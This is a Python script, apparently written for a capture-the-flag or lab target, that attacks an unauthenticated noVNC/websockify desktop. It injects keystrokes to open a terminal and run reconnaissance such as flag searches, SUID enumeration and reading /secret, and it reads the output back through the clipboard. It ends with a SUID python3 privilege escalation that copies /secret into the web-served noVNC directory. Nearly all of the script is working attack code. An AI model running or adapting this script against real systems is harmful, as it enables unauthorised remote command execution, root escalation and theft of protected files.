#!/usr/bin/env python3 """ Direct VNC/RFB interaction over WebSocket for command execution. Handles: WS→RFB handshake→keystroke injection→clipboard reading """ import socket import struct import base64 import os import time import hashlib import hmac class VNCShell: """VNC-based shell: connect, type commands, read clipboard output.""" # X11 keysyms KS = { 'Return': 0xFF0D, 'Tab': 0xFF09, 'Escape': 0xFF1B, 'BackSpace': 0xFF08, 'Delete': 0xFFFF, 'Home': 0xFF50, 'End': 0xFF57, 'Left': 0xFF51, 'Up': 0xFF52, 'Right': 0xFF53, 'Down': 0xFF54, 'Page_Up': 0xFF55, 'Page_Down': 0xFF56, 'Shift_L': 0xFFE1, 'Shift_R': 0xFFE2, 'Control_L': 0xFFE3, 'Control_R': 0xFFE4, 'Alt_L': 0xFFE9, 'Alt_R': 0xFFEA, 'Super_L': 0xFFEB, 'Super_R': 0xFFEC, 'F1': 0xFFBE, 'F2': 0xFFBF, 'F3': 0xFFC0, 'F4': 0xFFC1, 'F5': 0xFFC2, 'F11': 0xFFC8, } def __init__(self, host, port, ws_path): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(30) self.sock.connect((host, port)) self._ws_handshake(host, port, ws_path) self.rfbbuf = bytearray() self.width = 0 self.height = 0 self.bpp = 0 def _ws_handshake(self, host, port, path): key = base64.b64encode(os.urandom(16)).decode() req = (f"GET /{path} HTTP/1.1\r\nHost: {host}:{port}\r\n" f"Upgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\n" f"Sec-WebSocket-Version: 13\r\n\r\n") self.sock.send(req.encode()) resp = b'' while b'\r\n\r\n' not in resp: resp += self.sock.recv(4096) print("[+] WebSocket connected") def _ws_send(self, data): """Send masked binary frame.""" length = len(data) header = bytearray([0x82]) # FIN + binary opcode if length < 126: header.append(0x80 | length) elif length < 65536: header.append(0x80 | 126) header.extend(struct.pack('>H', length)) else: header.append(0x80 | 127) header.extend(struct.pack('>Q', length)) mask = os.urandom(4) masked = bytearray(length) for i in range(length): masked[i] = data[i] ^ mask[i % 4] self.sock.send(bytes(header) + mask + bytes(masked)) def _rfb_read(self, n, timeout=60): """Read exactly n bytes from RFB stream (across WS frames).""" deadline = time.time() + timeout while len(self.rfbbuf) < n: if time.time() > deadline: return None self.sock.settimeout(max(1, deadline - time.time())) try: # Read WS frame header buf = bytearray() while len(buf) < 2: chunk = self.sock.recv(65536) if not chunk: return None buf.extend(chunk) opcode = buf[0] & 0x0F plen = buf[1] & 0x7F pos = 2 if plen == 126: while len(buf) < 4: buf.extend(self.sock.recv(65536)) plen = struct.unpack('>H', buf[2:4])[0] pos = 4 elif plen == 127: while len(buf) < 10: buf.extend(self.sock.recv(65536)) plen = struct.unpack('>Q', buf[2:10])[0] pos = 10 while len(buf) < pos + plen: chunk = self.sock.recv(65536) if not chunk: return None buf.extend(chunk) if opcode == 0x08: return None self.rfbbuf.extend(buf[pos:pos+plen]) except socket.timeout: continue result = bytes(self.rfbbuf[:n]) self.rfbbuf = self.rfbbuf[n:] return result def _rfb_send(self, data): self._ws_send(data) def connect(self): """Perform full RFB handshake.""" # Server version data = self._rfb_read(12) print(f"[*] RFB Server: {data.decode().strip()}") self._rfb_send(b"RFB 003.008\n") # Security types data = self._rfb_read(2) num = data[0] types = list(data[1:1+num]) print(f"[*] Security: {[hex(t) for t in types]}") # Choose none (1) self._rfb_send(b'\x01') data = self._rfb_read(4) result = struct.unpack('>I', data)[0] if result != 0: print(f"[-] Auth failed: {result}") return False # ClientInit self._rfb_send(b'\x01') # ServerInit data = self._rfb_read(24) self.width = struct.unpack('>H', data[0:2])[0] self.height = struct.unpack('>H', data[2:4])[0] self.bpp = data[4] // 8 name_len = struct.unpack('>I', data[20:24])[0] name = self._rfb_read(name_len) print(f"[+] Desktop: {self.width}x{self.height}x{self.bpp*8} '{name.decode()}'") return True def key(self, keysym, down=True): """Send key event.""" self._rfb_send(struct.pack('>BBxxI', 4, 1 if down else 0, keysym)) def press(self, keysym): """Press and release a key.""" self.key(keysym, True) self.key(keysym, False) time.sleep(0.02) def combo(self, modifiers, key): """Hold modifier(s), press key, release.""" if isinstance(modifiers, int): modifiers = [modifiers] for m in modifiers: self.key(m, True) time.sleep(0.05) self.key(key, True) self.key(key, False) for m in reversed(modifiers): self.key(m, False) time.sleep(0.1) def type(self, text): """Type ASCII text.""" for ch in text: if ch == '\n': self.press(self.KS['Return']) time.sleep(0.2) elif ch == '\t': self.press(self.KS['Tab']) else: self.press(ord(ch)) def exec_cmd(self, cmd, wait=2): """Type a command and press Enter.""" self.type(cmd + "\n") time.sleep(wait) def select_all_and_copy(self): """Ctrl+A then Ctrl+C to copy terminal content.""" self.combo(self.KS['Control_L'], ord('a')) time.sleep(0.1) self.combo(self.KS['Control_L'], ord('c')) time.sleep(0.3) def paste(self): """Ctrl+V to paste.""" self.combo(self.KS['Control_L'], ord('v')) time.sleep(0.1) def read_events(self, timeout=10): """Read RFB events until timeout. Return clipboard texts found.""" deadline = time.time() + timeout clipboard_texts = [] while time.time() < deadline: self.sock.settimeout(max(0.5, deadline - time.time())) try: # Peek at next message type data = self._rfb_read(1, timeout=max(2, deadline - time.time())) if data is None: break msg_type = data[0] if msg_type == 0: # FramebufferUpdate self._rfb_read(1) # padding nr = struct.unpack('>H', self._rfb_read(2))[0] for i in range(nr): hdr = self._rfb_read(12) if hdr is None: break rx = struct.unpack('>H', hdr[0:2])[0] ry = struct.unpack('>H', hdr[2:4])[0] rw = struct.unpack('>H', hdr[4:6])[0] rh = struct.unpack('>H', hdr[6:8])[0] enc = struct.unpack('>i', hdr[8:12])[0] if enc == 0 and rw > 0 and rh > 0: plen = rw * rh * self.bpp self._rfb_read(plen) # Skip non-raw encodings silently elif msg_type == 3: # ServerCutText (clipboard) self._rfb_read(3) # padding tl = struct.unpack('>I', self._rfb_read(4))[0] text = self._rfb_read(tl) if text: text_str = text.decode('utf-8', errors='replace') clipboard_texts.append(text_str) print(f"[*] Clipboard: {text_str[:300]}") elif msg_type == 2: # Bell print("[*] Bell!") except socket.timeout: break except Exception as e: print(f"[!] Error reading events: {e}") break return clipboard_texts def request_update(self, incremental=0): """Request framebuffer update.""" self._rfb_send(struct.pack('>BBHHHH', 3, incremental, 0, 0, self.width, self.height)) def close(self): try: header = bytearray([0x88, 0x80]) self.sock.send(bytes(header) + os.urandom(4)) except: pass try: self.sock.close() except: pass def main(): vnc = VNCShell("192.168.1.107", 8080, "websockify") if not vnc.connect(): print("[-] Failed to connect") return print("\n[*] Opening terminal with Ctrl+Alt+T...") vnc.combo([vnc.KS['Control_L'], vnc.KS['Alt_L']], ord('t')) time.sleep(3) commands = [ # Find flags "find / -name '*flag*' -type f 2>/dev/null", # List root directory "ls -la /root/ 2>/dev/null", # Find SUID files "find / -perm -4000 -type f 2>/dev/null | head -20", # Check who we are "id", # Read /secret first line "head -2 /secret 2>/dev/null", ] for cmd in commands: print(f"\n[*] Executing: {cmd}") vnc.exec_cmd(cmd, wait=2) # Select and copy output vnc.select_all_and_copy() # Read events vnc.read_events(timeout=5) # Clear selection by pressing right arrow vnc.press(vnc.KS['Right']) time.sleep(0.5) # Try to get root via SUID python and copy /secret for later review. print("\n[*] Getting root via SUID python3...") vnc.exec_cmd( "/usr/bin/python3 -c 'import os; os.setuid(0); " "os.system(\"id; cp /secret /opt/novnc/\")'", wait=3, ) vnc.close() print("\n[*] Done") if __name__ == '__main__': main()